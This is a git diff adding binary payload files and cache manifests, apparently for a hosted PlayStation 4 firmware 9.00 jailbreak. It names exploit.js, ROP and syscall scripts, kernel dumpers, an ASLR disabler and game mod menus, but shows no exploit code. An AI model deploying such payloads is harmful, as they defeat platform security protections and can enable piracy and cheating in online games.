diff --git a/900C/BeefQueefMod.bin.bz2 b/900C/BeefQueefMod.bin.bz2 new file mode 100644 index 0000000..2877b65 Binary files /dev/null and b/900C/BeefQueefMod.bin.bz2 differ diff --git a/900C/BeefQueefMod134.bin.bz2 b/900C/BeefQueefMod134.bin.bz2 new file mode 100644 index 0000000..5f9860a Binary files /dev/null and b/900C/BeefQueefMod134.bin.bz2 differ diff --git a/900C/BeefQueefMod138.bin.bz2 b/900C/BeefQueefMod138.bin.bz2 new file mode 100644 index 0000000..3961359 Binary files /dev/null and b/900C/BeefQueefMod138.bin.bz2 differ diff --git a/900C/Cache.manifest b/900C/Cache.manifest new file mode 100644 index 0000000..4d04c23 --- /dev/null +++ b/900C/Cache.manifest @@ -0,0 +1,93 @@ +CACHE MANIFEST + +CACHE: +app-dumper.bin.bz2 +app2usb.bin.bz2 +backupdb.bin.bz2 +BeefQueefMod.bin.bz2 +BeefQueefMod134.bin.bz2 +BeefQueefMod138.bin.bz2 +CopyCH.bin.bz2 +disableaslr.bin.bz2 +disableupdates.bin.bz2 +DumperG.bin.bz2 +DumperMGU.bin.bz2 +DumperSGU.bin.bz2 +DumperU.bin.bz2 +enablebrowser.bin.bz2 +enableupdates.bin.bz2 +exitidu.bin.bz2 +exploit.js +fan50.bin.bz2 +fan55.bin.bz2 +fan60.bin.bz2 +fan65.bin.bz2 +fan70.bin.bz2 +fan75.bin.bz2 +fan80.bin.bz2 +frontend.js +ftp.bin.bz2 +goldhen_2.3_900.bin +goldhen_2.2.4_900.bin +goldhen_212_900.bin +gtava0.bin.bz2 +gtava1.bin.bz2 +gtava2.bin.bz2 +gtava3.bin.bz2 +gtavLTS127.bin.bz2 +gtavmb127.bin.bz2 +historyblocker.bin.bz2 +index.html +int64b.js +kerneldumper.bin.bz2 +Lamance9.bin.bz2 +LinuxLoader.bin +LinuxLoader2gb.bin +LinuxLoader3gb.bin +LinuxLoader4gb.bin +LinuxLoader5gb.bin +LushModz-1.0-9.00.bin.bz2 +LushModz-4.0-9.00.bin.bz2 +malloc.js +mdumper.bin.bz2 +mira.js +mira2.js +MiraLoader.bin.bz2 +MiraLoader.js +netcat.js +Orbis-Toolbox-900.bin.bz2 +Oysters1.00.bin.bz2 +Oysters1.13.bin.bz2 +Oysters1.19.bin.bz2 +Oysters1.24.bin.bz2 +Oysters1.29.bin.bz2 +payload-900-1gb.bin +payload-900-2gb.bin +payload-900-3gb.bin +payload-900-4gb.bin +payload-900-5gb.bin +payload.js +permanentuart.bin.bz2 +pl_EnableUpdates.bin.bz2 +pkg-backup.bin.bz2 +ps4debug.bin.bz2 +relocator.js +restoredb.bin.bz2 +rifrenamer.bin.bz2 +ropb2.js +syscalls.js +syscalls2.js +todex-disable.bin.bz2 +todex-enable.bin.bz2 +ToDex.bin.bz2 +web.html +WebRTE.bin.bz2 +WildeModz-1.32.bin.bz2 +WildeModz-1.33.bin.bz2 +WildeModz-1.38.bin.bz2 +wtsb.bin + +NETWORK: +* + +# Date: 2024-03-26T14:59:00Z: \ No newline at end of file diff --git a/900C/CopyCH.bin.bz2 b/900C/CopyCH.bin.bz2 new file mode 100644 index 0000000..272dd1c Binary files /dev/null and b/900C/CopyCH.bin.bz2 differ diff --git a/900C/DumperG.bin.bz2 b/900C/DumperG.bin.bz2 new file mode 100644 index 0000000..65fd388 Binary files /dev/null and b/900C/DumperG.bin.bz2 differ diff --git a/900C/DumperMGU.bin.bz2 b/900C/DumperMGU.bin.bz2 new file mode 100644 index 0000000..bf99f05 Binary files /dev/null and b/900C/DumperMGU.bin.bz2 differ diff --git a/900C/DumperSGU.bin.bz2 b/900C/DumperSGU.bin.bz2 new file mode 100644 index 0000000..d3c81a0 Binary files /dev/null and b/900C/DumperSGU.bin.bz2 differ diff --git a/900C/DumperU.bin.bz2 b/900C/DumperU.bin.bz2 new file mode 100644 index 0000000..b485a23 Binary files /dev/null and b/900C/DumperU.bin.bz2 differ diff --git a/900C/Lamance9.bin.bz2 b/900C/Lamance9.bin.bz2 new file mode 100644 index 0000000..d18689f Binary files /dev/null and b/900C/Lamance9.bin.bz2 differ diff --git a/900C/Lamance900.bin.bz2 b/900C/Lamance900.bin.bz2 new file mode 100644 index 0000000..da369e2 Binary files /dev/null and b/900C/Lamance900.bin.bz2 differ diff --git a/900C/LinuxLoader.bin b/900C/LinuxLoader.bin new file mode 100644 index 0000000..2493166 Binary files /dev/null and b/900C/LinuxLoader.bin differ diff --git a/900C/LinuxLoader2gb.bin b/900C/LinuxLoader2gb.bin new file mode 100644 index 0000000..5fcebad Binary files /dev/null and b/900C/LinuxLoader2gb.bin differ diff --git a/900C/LinuxLoader3gb.bin b/900C/LinuxLoader3gb.bin new file mode 100644 index 0000000..18ee93b Binary files /dev/null and b/900C/LinuxLoader3gb.bin differ diff --git a/900C/LinuxLoader4gb.bin b/900C/LinuxLoader4gb.bin new file mode 100644 index 0000000..58e9c0c Binary files /dev/null and b/900C/LinuxLoader4gb.bin differ diff --git a/900C/LinuxLoader5gb.bin b/900C/LinuxLoader5gb.bin new file mode 100644 index 0000000..6e0a190 Binary files /dev/null and b/900C/LinuxLoader5gb.bin differ diff --git a/900C/LushModz-1.0-9.00.bin.bz2 b/900C/LushModz-1.0-9.00.bin.bz2 new file mode 100644 index 0000000..70fc737 Binary files /dev/null and b/900C/LushModz-1.0-9.00.bin.bz2 differ diff --git a/900C/LushModz-4.0-9.00.bin.bz2 b/900C/LushModz-4.0-9.00.bin.bz2 new file mode 100644 index 0000000..91f04be Binary files /dev/null and b/900C/LushModz-4.0-9.00.bin.bz2 differ diff --git a/900C/MiraLoader.bin.bz2 b/900C/MiraLoader.bin.bz2 new file mode 100644 index 0000000..7cd3b1d Binary files /dev/null and b/900C/MiraLoader.bin.bz2 differ diff --git a/900C/Orbis-Toolbox-900.bin.bz2 b/900C/Orbis-Toolbox-900.bin.bz2 new file mode 100644 index 0000000..cb4af0c Binary files /dev/null and b/900C/Orbis-Toolbox-900.bin.bz2 differ diff --git a/900C/Oysters1.00.bin.bz2 b/900C/Oysters1.00.bin.bz2 new file mode 100644 index 0000000..e8be77a Binary files /dev/null and b/900C/Oysters1.00.bin.bz2 differ diff --git a/900C/Oysters1.13.bin.bz2 b/900C/Oysters1.13.bin.bz2 new file mode 100644 index 0000000..028fc65 Binary files /dev/null and b/900C/Oysters1.13.bin.bz2 differ diff --git a/900C/Oysters1.19.bin.bz2 b/900C/Oysters1.19.bin.bz2 new file mode 100644 index 0000000..27be5d1 Binary files /dev/null and b/900C/Oysters1.19.bin.bz2 differ diff --git a/900C/Oysters1.24.bin.bz2 b/900C/Oysters1.24.bin.bz2 new file mode 100644 index 0000000..2e6354d Binary files /dev/null and b/900C/Oysters1.24.bin.bz2 differ diff --git a/900C/Oysters1.29.bin.bz2 b/900C/Oysters1.29.bin.bz2 new file mode 100644 index 0000000..2ee0c90 Binary files /dev/null and b/900C/Oysters1.29.bin.bz2 differ diff --git a/900C/ToDex.bin.bz2 b/900C/ToDex.bin.bz2 new file mode 100644 index 0000000..224a0f6 Binary files /dev/null and b/900C/ToDex.bin.bz2 differ diff --git a/900C/WebRTE.bin.bz2 b/900C/WebRTE.bin.bz2 new file mode 100644 index 0000000..7643d81 Binary files /dev/null and b/900C/WebRTE.bin.bz2 differ diff --git a/900C/WildeModz-1.32.bin.bz2 b/900C/WildeModz-1.32.bin.bz2 new file mode 100644 index 0000000..b4e5271 Binary files /dev/null and b/900C/WildeModz-1.32.bin.bz2 differ diff --git a/900C/WildeModz-1.33.bin.bz2 b/900C/WildeModz-1.33.bin.bz2 new file mode 100644 index 0000000..bd9c503 Binary files /dev/null and b/900C/WildeModz-1.33.bin.bz2 differ diff --git a/900C/WildeModz-1.38.bin.bz2 b/900C/WildeModz-1.38.bin.bz2 new file mode 100644 index 0000000..f776e9b Binary files /dev/null and b/900C/WildeModz-1.38.bin.bz2 differ diff --git a/900C/app-dumper.bin.bz2 b/900C/app-dumper.bin.bz2 new file mode 100644 index 0000000..dabf03e Binary files /dev/null and b/900C/app-dumper.bin.bz2 differ diff --git a/900C/app2usb.bin.bz2 b/900C/app2usb.bin.bz2 new file mode 100644 index 0000000..9c41335 Binary files /dev/null and b/900C/app2usb.bin.bz2 differ diff --git a/900C/backupdb.bin.bz2 b/900C/backupdb.bin.bz2 new file mode 100644 index 0000000..be116da Binary files /dev/null and b/900C/backupdb.bin.bz2 differ diff --git a/900C/disableaslr.bin.bz2 b/900C/disableaslr.bin.bz2 new file mode 100644 index 0000000..bac8948 Binary files /dev/null and b/900C/disableaslr.bin.bz2 differ diff --git a/900C/disableupdates.bin.bz2 b/900C/disableupdates.bin.bz2 new file mode 100644 index 0000000..a7397cb Binary files /dev/null and b/900C/disableupdates.bin.bz2 differ diff --git a/900C/enablebrowser.bin.bz2 b/900C/enablebrowser.bin.bz2 new file mode 100644 index 0000000..3b530d7 Binary files /dev/null and b/900C/enablebrowser.bin.bz2 differ diff --git a/900C/enableupdates.bin.bz2 b/900C/enableupdates.bin.bz2 new file mode 100644 index 0000000..44e28f2 Binary files /dev/null and b/900C/enableupdates.bin.bz2 differ diff --git a/900C/exitidu.bin.bz2 b/900C/exitidu.bin.bz2 new file mode 100644 index 0000000..6baa43d Binary files /dev/null and b/900C/exitidu.bin.bz2 differ diff --git a/900C/fan50.bin.bz2 b/900C/fan50.bin.bz2 new file mode 100644 index 0000000..13459c9 Binary files /dev/null and b/900C/fan50.bin.bz2 differ diff --git a/900C/fan55.bin.bz2 b/900C/fan55.bin.bz2 new file mode 100644 index 0000000..208442c Binary files /dev/null and b/900C/fan55.bin.bz2 differ diff --git a/900C/fan60.bin.bz2 b/900C/fan60.bin.bz2 new file mode 100644 index 0000000..a4a74e6 Binary files /dev/null and b/900C/fan60.bin.bz2 differ diff --git a/900C/fan65.bin.bz2 b/900C/fan65.bin.bz2 new file mode 100644 index 0000000..fa6c757 Binary files /dev/null and b/900C/fan65.bin.bz2 differ diff --git a/900C/fan70.bin.bz2 b/900C/fan70.bin.bz2 new file mode 100644 index 0000000..795bb23 Binary files /dev/null and b/900C/fan70.bin.bz2 differ diff --git a/900C/fan75.bin.bz2 b/900C/fan75.bin.bz2 new file mode 100644 index 0000000..2641916 Binary files /dev/null and b/900C/fan75.bin.bz2 differ diff --git a/900C/fan80.bin.bz2 b/900C/fan80.bin.bz2 new file mode 100644 index 0000000..e0ff819 Binary files /dev/null and b/900C/fan80.bin.bz2 differ diff --git a/900C/ftp.bin.bz2 b/900C/ftp.bin.bz2 new file mode 100644 index 0000000..e462b35 Binary files /dev/null and b/900C/ftp.bin.bz2 differ diff --git a/900L/goldhen2b2.bin b/900C/goldhen2b2.bin similarity index 100% rename from 900L/goldhen2b2.bin rename to 900C/goldhen2b2.bin diff --git a/900L/goldhen_2.2.2_900.bin b/900C/goldhen_2.2.2_900.bin similarity index 100% rename from 900L/goldhen_2.2.2_900.bin rename to 900C/goldhen_2.2.2_900.bin diff --git a/900C/goldhen_2.2.3_900.bin b/900C/goldhen_2.2.3_900.bin new file mode 100644 index 0000000..cf03033 Binary files /dev/null and b/900C/goldhen_2.2.3_900.bin differ diff --git a/900C/goldhen_2.2.4_900.bin b/900C/goldhen_2.2.4_900.bin new file mode 100644 index 0000000..0ded4e7 Binary files /dev/null and b/900C/goldhen_2.2.4_900.bin differ diff --git a/900C/goldhen_2.3_900.bin b/900C/goldhen_2.3_900.bin new file mode 100644 index 0000000..c0103e0 Binary files /dev/null and b/900C/goldhen_2.3_900.bin differ diff --git a/Goldhen900/goldhen_212_900.bin b/900C/goldhen_212_900.bin similarity index 100% rename from Goldhen900/goldhen_212_900.bin rename to 900C/goldhen_212_900.bin diff --git a/900C/gtavLTS127.bin.bz2 b/900C/gtavLTS127.bin.bz2 new file mode 100644 index 0000000..8d09b90 Binary files /dev/null and b/900C/gtavLTS127.bin.bz2 differ diff --git a/900C/gtava0.bin.bz2 b/900C/gtava0.bin.bz2 new file mode 100644 index 0000000..71c39f7 Binary files /dev/null and b/900C/gtava0.bin.bz2 differ diff --git a/900C/gtava1.bin.bz2 b/900C/gtava1.bin.bz2 new file mode 100644 index 0000000..1392d7b Binary files /dev/null and b/900C/gtava1.bin.bz2 differ diff --git a/900C/gtava2.bin.bz2 b/900C/gtava2.bin.bz2 new file mode 100644 index 0000000..768eb13 Binary files /dev/null and b/900C/gtava2.bin.bz2 differ diff --git a/900C/gtava3.bin.bz2 b/900C/gtava3.bin.bz2 new file mode 100644 index 0000000..894882c Binary files /dev/null and b/900C/gtava3.bin.bz2 differ diff --git a/900C/gtavmb127.bin.bz2 b/900C/gtavmb127.bin.bz2 new file mode 100644 index 0000000..bedd6f5 Binary files /dev/null and b/900C/gtavmb127.bin.bz2 differ diff --git a/900C/historyblocker.bin.bz2 b/900C/historyblocker.bin.bz2 new file mode 100644 index 0000000..567af7e Binary files /dev/null and b/900C/historyblocker.bin.bz2 differ diff --git a/900C/kerneldumper.bin.bz2 b/900C/kerneldumper.bin.bz2 new file mode 100644 index 0000000..b34b8a4 Binary files /dev/null and b/900C/kerneldumper.bin.bz2 differ diff --git a/900C/mdumper.bin.bz2 b/900C/mdumper.bin.bz2 new file mode 100644 index 0000000..e5d9e35 Binary files /dev/null and b/900C/mdumper.bin.bz2 differ diff --git a/900C/payload-900-1gb.bin b/900C/payload-900-1gb.bin new file mode 100644 index 0000000..ce44868 Binary files /dev/null and b/900C/payload-900-1gb.bin differ diff --git a/900C/payload-900-2gb.bin b/900C/payload-900-2gb.bin new file mode 100644 index 0000000..ddae2df Binary files /dev/null and b/900C/payload-900-2gb.bin differ diff --git a/900C/payload-900-3gb.bin b/900C/payload-900-3gb.bin new file mode 100644 index 0000000..b672b1a Binary files /dev/null and b/900C/payload-900-3gb.bin differ diff --git a/900C/payload-900-4gb.bin b/900C/payload-900-4gb.bin new file mode 100644 index 0000000..e1646cc Binary files /dev/null and b/900C/payload-900-4gb.bin differ diff --git a/900C/payload-900-5gb.bin b/900C/payload-900-5gb.bin new file mode 100644 index 0000000..778f9db Binary files /dev/null and b/900C/payload-900-5gb.bin differ diff --git a/900C/permanentuart.bin.bz2 b/900C/permanentuart.bin.bz2 new file mode 100644 index 0000000..e121cc9 Binary files /dev/null and b/900C/permanentuart.bin.bz2 differ diff --git a/900C/pkg-backup.bin.bz2 b/900C/pkg-backup.bin.bz2 new file mode 100644 index 0000000..808241c Binary files /dev/null and b/900C/pkg-backup.bin.bz2 differ diff --git a/900C/pl_EnableUpdates.bin.bz2 b/900C/pl_EnableUpdates.bin.bz2 new file mode 100644 index 0000000..44e28f2 Binary files /dev/null and b/900C/pl_EnableUpdates.bin.bz2 differ diff --git a/900C/ps4debug.bin.bz2 b/900C/ps4debug.bin.bz2 new file mode 100644 index 0000000..86259ef Binary files /dev/null and b/900C/ps4debug.bin.bz2 differ diff --git a/900C/restoredb.bin.bz2 b/900C/restoredb.bin.bz2 new file mode 100644 index 0000000..7ca64b8 Binary files /dev/null and b/900C/restoredb.bin.bz2 differ diff --git a/900C/rifrenamer.bin.bz2 b/900C/rifrenamer.bin.bz2 new file mode 100644 index 0000000..7e69fba Binary files /dev/null and b/900C/rifrenamer.bin.bz2 differ diff --git a/900C/todex-disable.bin.bz2 b/900C/todex-disable.bin.bz2 new file mode 100644 index 0000000..921ff15 Binary files /dev/null and b/900C/todex-disable.bin.bz2 differ diff --git a/900C/todex-enable.bin.bz2 b/900C/todex-enable.bin.bz2 new file mode 100644 index 0000000..a4be19a Binary files /dev/null and b/900C/todex-enable.bin.bz2 differ diff --git a/900C/wtsb.bin b/900C/wtsb.bin new file mode 100644 index 0000000..eafff10 Binary files /dev/null and b/900C/wtsb.bin differ diff --git a/900CM/BeefQueefMod.bin.bz2 b/900CM/BeefQueefMod.bin.bz2 new file mode 100644 index 0000000..2877b65 Binary files /dev/null and b/900CM/BeefQueefMod.bin.bz2 differ diff --git a/900CM/BeefQueefMod134.bin.bz2 b/900CM/BeefQueefMod134.bin.bz2 new file mode 100644 index 0000000..5f9860a Binary files /dev/null and b/900CM/BeefQueefMod134.bin.bz2 differ diff --git a/900CM/BeefQueefMod138.bin.bz2 b/900CM/BeefQueefMod138.bin.bz2 new file mode 100644 index 0000000..3961359 Binary files /dev/null and b/900CM/BeefQueefMod138.bin.bz2 differ diff --git a/900CM/Cache.manifest b/900CM/Cache.manifest new file mode 100644 index 0000000..839b5c6 --- /dev/null +++ b/900CM/Cache.manifest @@ -0,0 +1,93 @@ +CACHE MANIFEST + +CACHE: +app-dumper.bin.bz2 +app2usb.bin.bz2 +backupdb.bin.bz2 +BeefQueefMod.bin.bz2 +BeefQueefMod134.bin.bz2 +BeefQueefMod138.bin.bz2 +CopyCH.bin.bz2 +disableaslr.bin.bz2 +disableupdates.bin.bz2 +DumperG.bin.bz2 +DumperMGU.bin.bz2 +DumperSGU.bin.bz2 +DumperU.bin.bz2 +enablebrowser.bin.bz2 +enableupdates.bin.bz2 +exitidu.bin.bz2 +exploit.js +fan50.bin.bz2 +fan55.bin.bz2 +fan60.bin.bz2 +fan65.bin.bz2 +fan70.bin.bz2 +fan75.bin.bz2 +fan80.bin.bz2 +frontend.js +ftp.bin.bz2 +goldhen_2.3_900.bin +goldhen_2.2.4_900.bin +goldhen_212_900.bin +gtava0.bin.bz2 +gtava1.bin.bz2 +gtava2.bin.bz2 +gtava3.bin.bz2 +gtavLTS127.bin.bz2 +gtavmb127.bin.bz2 +historyblocker.bin.bz2 +index.html +int64b.js +kerneldumper.bin.bz2 +Lamance9.bin.bz2 +LinuxLoader.bin +LinuxLoader2gb.bin +LinuxLoader3gb.bin +LinuxLoader4gb.bin +LinuxLoader5gb.bin +LushModz-1.0-9.00.bin.bz2 +LushModz-4.0-9.00.bin.bz2 +malloc.js +mdumper.bin.bz2 +mira.js +mira2.js +MiraLoader.bin.bz2 +MiraLoader.js +netcat.js +Orbis-Toolbox-900.bin.bz2 +Oysters1.00.bin.bz2 +Oysters1.13.bin.bz2 +Oysters1.19.bin.bz2 +Oysters1.24.bin.bz2 +Oysters1.29.bin.bz2 +payload-900-1gb.bin +payload-900-2gb.bin +payload-900-3gb.bin +payload-900-4gb.bin +payload-900-5gb.bin +payload.js +permanentuart.bin.bz2 +pl_EnableUpdates.bin.bz2 +pkg-backup.bin.bz2 +ps4debug.bin.bz2 +relocator.js +restoredb.bin.bz2 +rifrenamer.bin.bz2 +ropb2.js +syscalls.js +syscalls2.js +todex-disable.bin.bz2 +todex-enable.bin.bz2 +ToDex.bin.bz2 +web.html +WebRTE.bin.bz2 +WildeModz-1.32.bin.bz2 +WildeModz-1.33.bin.bz2 +WildeModz-1.38.bin.bz2 +wtsb.bin + +NETWORK: +* + +# Date: 2022-05-21T14:59:00Z: \ No newline at end of file diff --git a/900CM/CopyCH.bin.bz2 b/900CM/CopyCH.bin.bz2 new file mode 100644 index 0000000..272dd1c Binary files /dev/null and b/900CM/CopyCH.bin.bz2 differ diff --git a/900CM/DumperG.bin.bz2 b/900CM/DumperG.bin.bz2 new file mode 100644 index 0000000..65fd388 Binary files /dev/null and b/900CM/DumperG.bin.bz2 differ diff --git a/900CM/DumperMGU.bin.bz2 b/900CM/DumperMGU.bin.bz2 new file mode 100644 index 0000000..bf99f05 Binary files /dev/null and b/900CM/DumperMGU.bin.bz2 differ diff --git a/900CM/DumperSGU.bin.bz2 b/900CM/DumperSGU.bin.bz2 new file mode 100644 index 0000000..d3c81a0 Binary files /dev/null and b/900CM/DumperSGU.bin.bz2 differ diff --git a/900CM/DumperU.bin.bz2 b/900CM/DumperU.bin.bz2 new file mode 100644 index 0000000..b485a23 Binary files /dev/null and b/900CM/DumperU.bin.bz2 differ diff --git a/900CM/Lamance9.bin.bz2 b/900CM/Lamance9.bin.bz2 new file mode 100644 index 0000000..d18689f Binary files /dev/null and b/900CM/Lamance9.bin.bz2 differ diff --git a/900CM/Lamance900.bin.bz2 b/900CM/Lamance900.bin.bz2 new file mode 100644 index 0000000..da369e2 Binary files /dev/null and b/900CM/Lamance900.bin.bz2 differ diff --git a/900CM/LinuxLoader.bin b/900CM/LinuxLoader.bin new file mode 100644 index 0000000..2493166 Binary files /dev/null and b/900CM/LinuxLoader.bin differ diff --git a/900CM/LinuxLoader2gb.bin b/900CM/LinuxLoader2gb.bin new file mode 100644 index 0000000..5fcebad Binary files /dev/null and b/900CM/LinuxLoader2gb.bin differ diff --git a/900CM/LinuxLoader3gb.bin b/900CM/LinuxLoader3gb.bin new file mode 100644 index 0000000..18ee93b Binary files /dev/null and b/900CM/LinuxLoader3gb.bin differ diff --git a/900CM/LinuxLoader4gb.bin b/900CM/LinuxLoader4gb.bin new file mode 100644 index 0000000..58e9c0c Binary files /dev/null and b/900CM/LinuxLoader4gb.bin differ diff --git a/900CM/LinuxLoader5gb.bin b/900CM/LinuxLoader5gb.bin new file mode 100644 index 0000000..6e0a190 Binary files /dev/null and b/900CM/LinuxLoader5gb.bin differ diff --git a/900CM/LushModz-1.0-9.00.bin.bz2 b/900CM/LushModz-1.0-9.00.bin.bz2 new file mode 100644 index 0000000..70fc737 Binary files /dev/null and b/900CM/LushModz-1.0-9.00.bin.bz2 differ diff --git a/900CM/LushModz-4.0-9.00.bin.bz2 b/900CM/LushModz-4.0-9.00.bin.bz2 new file mode 100644 index 0000000..91f04be Binary files /dev/null and b/900CM/LushModz-4.0-9.00.bin.bz2 differ diff --git a/900CM/MiraLoader.bin.bz2 b/900CM/MiraLoader.bin.bz2 new file mode 100644 index 0000000..7cd3b1d Binary files /dev/null and b/900CM/MiraLoader.bin.bz2 differ diff --git a/900CM/Orbis-Toolbox-900.bin.bz2 b/900CM/Orbis-Toolbox-900.bin.bz2 new file mode 100644 index 0000000..cb4af0c Binary files /dev/null and b/900CM/Orbis-Toolbox-900.bin.bz2 differ diff --git a/900CM/Oysters1.00.bin.bz2 b/900CM/Oysters1.00.bin.bz2 new file mode 100644 index 0000000..e8be77a Binary files /dev/null and b/900CM/Oysters1.00.bin.bz2 differ diff --git a/900CM/Oysters1.13.bin.bz2 b/900CM/Oysters1.13.bin.bz2 new file mode 100644 index 0000000..028fc65 Binary files /dev/null and b/900CM/Oysters1.13.bin.bz2 differ diff --git a/900CM/Oysters1.19.bin.bz2 b/900CM/Oysters1.19.bin.bz2 new file mode 100644 index 0000000..27be5d1 Binary files /dev/null and b/900CM/Oysters1.19.bin.bz2 differ diff --git a/900CM/Oysters1.24.bin.bz2 b/900CM/Oysters1.24.bin.bz2 new file mode 100644 index 0000000..2e6354d Binary files /dev/null and b/900CM/Oysters1.24.bin.bz2 differ diff --git a/900CM/Oysters1.29.bin.bz2 b/900CM/Oysters1.29.bin.bz2 new file mode 100644 index 0000000..2ee0c90 Binary files /dev/null and b/900CM/Oysters1.29.bin.bz2 differ diff --git a/900CM/ToDex.bin.bz2 b/900CM/ToDex.bin.bz2 new file mode 100644 index 0000000..224a0f6 Binary files /dev/null and b/900CM/ToDex.bin.bz2 differ diff --git a/900CM/WebRTE.bin.bz2 b/900CM/WebRTE.bin.bz2 new file mode 100644 index 0000000..7643d81 Binary files /dev/null and b/900CM/WebRTE.bin.bz2 differ diff --git a/900CM/WildeModz-1.32.bin.bz2 b/900CM/WildeModz-1.32.bin.bz2 new file mode 100644 index 0000000..b4e5271 Binary files /dev/null and b/900CM/WildeModz-1.32.bin.bz2 differ diff --git a/900CM/WildeModz-1.33.bin.bz2 b/900CM/WildeModz-1.33.bin.bz2 new file mode 100644 index 0000000..bd9c503 Binary files /dev/null and b/900CM/WildeModz-1.33.bin.bz2 differ diff --git a/900CM/WildeModz-1.38.bin.bz2 b/900CM/WildeModz-1.38.bin.bz2 new file mode 100644 index 0000000..f776e9b Binary files /dev/null and b/900CM/WildeModz-1.38.bin.bz2 differ diff --git a/900CM/app-dumper.bin.bz2 b/900CM/app-dumper.bin.bz2 new file mode 100644 index 0000000..dabf03e Binary files /dev/null and b/900CM/app-dumper.bin.bz2 differ diff --git a/900CM/app2usb.bin.bz2 b/900CM/app2usb.bin.bz2 new file mode 100644 index 0000000..9c41335 Binary files /dev/null and b/900CM/app2usb.bin.bz2 differ diff --git a/900CM/backupdb.bin.bz2 b/900CM/backupdb.bin.bz2 new file mode 100644 index 0000000..be116da Binary files /dev/null and b/900CM/backupdb.bin.bz2 differ diff --git a/900CM/disableaslr.bin.bz2 b/900CM/disableaslr.bin.bz2 new file mode 100644 index 0000000..bac8948 Binary files /dev/null and b/900CM/disableaslr.bin.bz2 differ diff --git a/900CM/disableupdates.bin.bz2 b/900CM/disableupdates.bin.bz2 new file mode 100644 index 0000000..a7397cb Binary files /dev/null and b/900CM/disableupdates.bin.bz2 differ diff --git a/900CM/enablebrowser.bin.bz2 b/900CM/enablebrowser.bin.bz2 new file mode 100644 index 0000000..3b530d7 Binary files /dev/null and b/900CM/enablebrowser.bin.bz2 differ diff --git a/900CM/enableupdates.bin.bz2 b/900CM/enableupdates.bin.bz2 new file mode 100644 index 0000000..44e28f2 Binary files /dev/null and b/900CM/enableupdates.bin.bz2 differ diff --git a/900CM/exitidu.bin.bz2 b/900CM/exitidu.bin.bz2 new file mode 100644 index 0000000..6baa43d Binary files /dev/null and b/900CM/exitidu.bin.bz2 differ diff --git a/900CM/fan50.bin.bz2 b/900CM/fan50.bin.bz2 new file mode 100644 index 0000000..13459c9 Binary files /dev/null and b/900CM/fan50.bin.bz2 differ diff --git a/900CM/fan55.bin.bz2 b/900CM/fan55.bin.bz2 new file mode 100644 index 0000000..208442c Binary files /dev/null and b/900CM/fan55.bin.bz2 differ diff --git a/900CM/fan60.bin.bz2 b/900CM/fan60.bin.bz2 new file mode 100644 index 0000000..a4a74e6 Binary files /dev/null and b/900CM/fan60.bin.bz2 differ diff --git a/900CM/fan65.bin.bz2 b/900CM/fan65.bin.bz2 new file mode 100644 index 0000000..fa6c757 Binary files /dev/null and b/900CM/fan65.bin.bz2 differ diff --git a/900CM/fan70.bin.bz2 b/900CM/fan70.bin.bz2 new file mode 100644 index 0000000..795bb23 Binary files /dev/null and b/900CM/fan70.bin.bz2 differ diff --git a/900CM/fan75.bin.bz2 b/900CM/fan75.bin.bz2 new file mode 100644 index 0000000..2641916 Binary files /dev/null and b/900CM/fan75.bin.bz2 differ diff --git a/900CM/fan80.bin.bz2 b/900CM/fan80.bin.bz2 new file mode 100644 index 0000000..e0ff819 Binary files /dev/null and b/900CM/fan80.bin.bz2 differ diff --git a/900CM/ftp.bin.bz2 b/900CM/ftp.bin.bz2 new file mode 100644 index 0000000..e462b35 Binary files /dev/null and b/900CM/ftp.bin.bz2 differ diff --git a/900CM/goldhen2b2.bin b/900CM/goldhen2b2.bin new file mode 100644 index 0000000..5e1e34c Binary files /dev/null and b/900CM/goldhen2b2.bin differ diff --git a/Goldhen900/goldhen_2.2.2_900.bin b/900CM/goldhen_2.2.2_900.bin similarity index 100% rename from Goldhen900/goldhen_2.2.2_900.bin rename to 900CM/goldhen_2.2.2_900.bin diff --git a/900CM/goldhen_2.2.3_900.bin b/900CM/goldhen_2.2.3_900.bin new file mode 100644 index 0000000..cf03033 Binary files /dev/null and b/900CM/goldhen_2.2.3_900.bin differ diff --git a/900CM/goldhen_2.2.4_900.bin b/900CM/goldhen_2.2.4_900.bin new file mode 100644 index 0000000..0ded4e7 Binary files /dev/null and b/900CM/goldhen_2.2.4_900.bin differ diff --git a/900CM/goldhen_2.3_900.bin b/900CM/goldhen_2.3_900.bin new file mode 100644 index 0000000..c0103e0 Binary files /dev/null and b/900CM/goldhen_2.3_900.bin differ diff --git a/900CM/goldhen_212_900.bin b/900CM/goldhen_212_900.bin new file mode 100644 index 0000000..c8c18b8 Binary files /dev/null and b/900CM/goldhen_212_900.bin differ diff --git a/900CM/gtavLTS127.bin.bz2 b/900CM/gtavLTS127.bin.bz2 new file mode 100644 index 0000000..8d09b90 Binary files /dev/null and b/900CM/gtavLTS127.bin.bz2 differ diff --git a/900CM/gtava0.bin.bz2 b/900CM/gtava0.bin.bz2 new file mode 100644 index 0000000..71c39f7 Binary files /dev/null and b/900CM/gtava0.bin.bz2 differ diff --git a/900CM/gtava1.bin.bz2 b/900CM/gtava1.bin.bz2 new file mode 100644 index 0000000..1392d7b Binary files /dev/null and b/900CM/gtava1.bin.bz2 differ diff --git a/900CM/gtava2.bin.bz2 b/900CM/gtava2.bin.bz2 new file mode 100644 index 0000000..768eb13 Binary files /dev/null and b/900CM/gtava2.bin.bz2 differ diff --git a/900CM/gtava3.bin.bz2 b/900CM/gtava3.bin.bz2 new file mode 100644 index 0000000..894882c Binary files /dev/null and b/900CM/gtava3.bin.bz2 differ diff --git a/900CM/gtavmb127.bin.bz2 b/900CM/gtavmb127.bin.bz2 new file mode 100644 index 0000000..bedd6f5 Binary files /dev/null and b/900CM/gtavmb127.bin.bz2 differ diff --git a/900CM/historyblocker.bin.bz2 b/900CM/historyblocker.bin.bz2 new file mode 100644 index 0000000..567af7e Binary files /dev/null and b/900CM/historyblocker.bin.bz2 differ diff --git a/900CM/kerneldumper.bin.bz2 b/900CM/kerneldumper.bin.bz2 new file mode 100644 index 0000000..b34b8a4 Binary files /dev/null and b/900CM/kerneldumper.bin.bz2 differ diff --git a/900CM/mdumper.bin.bz2 b/900CM/mdumper.bin.bz2 new file mode 100644 index 0000000..e5d9e35 Binary files /dev/null and b/900CM/mdumper.bin.bz2 differ diff --git a/900CM/payload-900-1gb.bin b/900CM/payload-900-1gb.bin new file mode 100644 index 0000000..ce44868 Binary files /dev/null and b/900CM/payload-900-1gb.bin differ diff --git a/900CM/payload-900-2gb.bin b/900CM/payload-900-2gb.bin new file mode 100644 index 0000000..ddae2df Binary files /dev/null and b/900CM/payload-900-2gb.bin differ diff --git a/900CM/payload-900-3gb.bin 